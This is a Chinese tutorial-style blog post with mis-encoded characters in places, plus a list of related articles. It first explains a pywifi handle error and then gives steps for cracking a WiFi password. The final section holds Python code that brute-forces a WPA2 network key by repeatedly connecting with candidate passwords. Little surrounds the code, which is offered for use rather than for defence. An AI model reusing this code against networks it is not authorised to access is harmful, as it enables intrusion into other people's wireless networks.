Python pywifi ERROR Open handle failed問題及解決
Python pywifi ERROR Open handle failed
這個(gè)問題的網(wǎng)上的資料很少,可能是因?yàn)楹?jiǎn)單吧。這里記錄下解決辦法。
直接上引發(fā)問題的代碼:
wifi = pywifi.PyWiFi() ? #定義接口操作 iface = wifi.interfaces()[0] ?#獲取無(wú)線網(wǎng)卡句柄
這兩行代碼實(shí)現(xiàn)了獲取系統(tǒng)的無(wú)線網(wǎng)卡句柄的功能??梢钥吹胶罄m(xù)的所有WIFI操作不管是連接還是端開都是在通過操作 iface 這個(gè)句柄整個(gè)句柄來(lái)完成的
但是切記,不管你是想去做暴力破解某個(gè)WIFI,還是想做什么WIFI連接測(cè)試,不要把這兩行放在循環(huán)體里。
在整個(gè)的循環(huán)過程中,保證這兩行代碼只會(huì)被執(zhí)行到一次。后續(xù)的動(dòng)作都只基于這一次獲取到的iface來(lái)執(zhí)行
如果要是多次執(zhí)行了這兩行代碼(尤其是放在了循環(huán)體里),在一定次數(shù)后,就會(huì)報(bào)ERROR Open handle failed的錯(cuò)誤。
Python語(yǔ)法之pywifi
pywifi安裝
- 拿到pywifi文件夾
- 如果有pip環(huán)境變量就直接cd進(jìn)入pywifi目錄
- 輸入pip install .
- 如果沒有環(huán)境變量就cd進(jìn)pip的目錄
- 然后pip install pywifi目錄
破解WiFi的步驟
1. 抓取無(wú)線網(wǎng)卡
pywifi.set_loglevel(logging.INFO) ? # 輸出日志 wifi = pywifi.PyWiFi() ?# 抓取WiFi接口 ifaceList = wifi.interfaces() ? # 抓取無(wú)線網(wǎng)卡列表 iface = ifaceList[0] # 如果有無(wú)線網(wǎng)卡第一個(gè)一般就是你要的
2. 找到WiFi列表
wifi = pywifi.PyWiFi() ?# 抓取WiFi接口 iface = wifi.interfaces()[0] ? # 抓取無(wú)線網(wǎng)卡列表 iface.scan() # 掃描 time.sleep(5) bsses = iface.scan_results() ? ?# 掃描到的結(jié)果 for pjwifi in bsses: ? ? print(pjwifi.ssid) ?# 所有WiFi名 ? ? print(pjwifi.bssid) # mac地址 ? ? print(pjwifi.signal) ? ?# 信號(hào)強(qiáng)度(值越大信號(hào)越強(qiáng))
3. 測(cè)試網(wǎng)卡狀態(tài)
iface = wifi.interfaces()[0] iface.status()--> const.IFACE_DISCONNECTED:0沒有連接 const.IFACE_INACTIVE:2沒有激活 const.IFACE_CONNECTED:1連接好了
4. 針對(duì)某一WiFi進(jìn)行密碼爆破
'''爆破密碼''' profile = pywifi.Profile() ?# 創(chuàng)建wifi鏈接文件 profile.ssid = wifiName ?# wifi名稱,不加會(huì)報(bào)錯(cuò) profile.auth = const.AUTH_ALG_OPEN ?# 網(wǎng)卡的開放 profile.akm.append(const.AKM_TYPE_WPA2PSK) ?# wifi加密算法 profile.cipher = const.CIPHER_TYPE_CCMP ?# 加密單元 profile.key = pwd ?# 密碼 self.iface.remove_all_network_profiles() ?# 刪除所有的wifi文件 tmp_profile = self.iface.add_network_profile(profile) ?# 設(shè)定新的鏈接文件 self.iface.connect(tmp_profile) ?# 鏈接 time.sleep(5) connectStatus = self.iface.status() == const.IFACE_CONNECTED self.iface.disconnect() ?# 斷開連接 time.sleep(1)
總結(jié)
以上為個(gè)人經(jīng)驗(yàn),希望能給大家一個(gè)參考,也希望大家多多支持腳本之家。
相關(guān)文章
Python調(diào)用百度AI實(shí)現(xiàn)人像分割詳解
本文主要介紹了如何通過Python調(diào)用百度AI從而實(shí)現(xiàn)人像的分割與合成,文中的示例代碼對(duì)我們的工作或?qū)W習(xí)有一定的幫助,需要的朋友可以參考一下2021-12-12
菜鳥使用python實(shí)現(xiàn)正則檢測(cè)密碼合法性
本文給大家分享了2則使用Python實(shí)現(xiàn)正則表達(dá)式檢測(cè)密碼合法性的代碼,由于是新手,所以方法比較笨,不過還是分享給小伙伴,希望對(duì)大家能夠有所幫助。2016-01-01
Python實(shí)現(xiàn)一個(gè)服務(wù)器監(jiān)聽多個(gè)客戶端請(qǐng)求
這篇文章主要為大家詳細(xì)介紹了Python如何實(shí)現(xiàn)一個(gè)服務(wù)器監(jiān)聽多個(gè)客戶端請(qǐng)求,具有一定的參考價(jià)值,感興趣的小伙伴們可以參考一下2018-04-04
python深度學(xué)習(xí)TensorFlow神經(jīng)網(wǎng)絡(luò)模型的保存和讀取
這篇文章主要為大家介紹了python深度學(xué)習(xí)TensorFlow神經(jīng)網(wǎng)絡(luò)如何將訓(xùn)練得到的模型保存下來(lái)方便下次直接使用。為了讓訓(xùn)練結(jié)果可以復(fù)用,需要將訓(xùn)練好的神經(jīng)網(wǎng)絡(luò)模型持久化2021-11-11
python全棧要學(xué)什么 python全棧學(xué)習(xí)路線
在本文中小編給大家整理了關(guān)于python全棧要學(xué)什么以及python全棧學(xué)習(xí)路線的知識(shí)點(diǎn)內(nèi)容,需要的朋友們參考下。2019-06-06

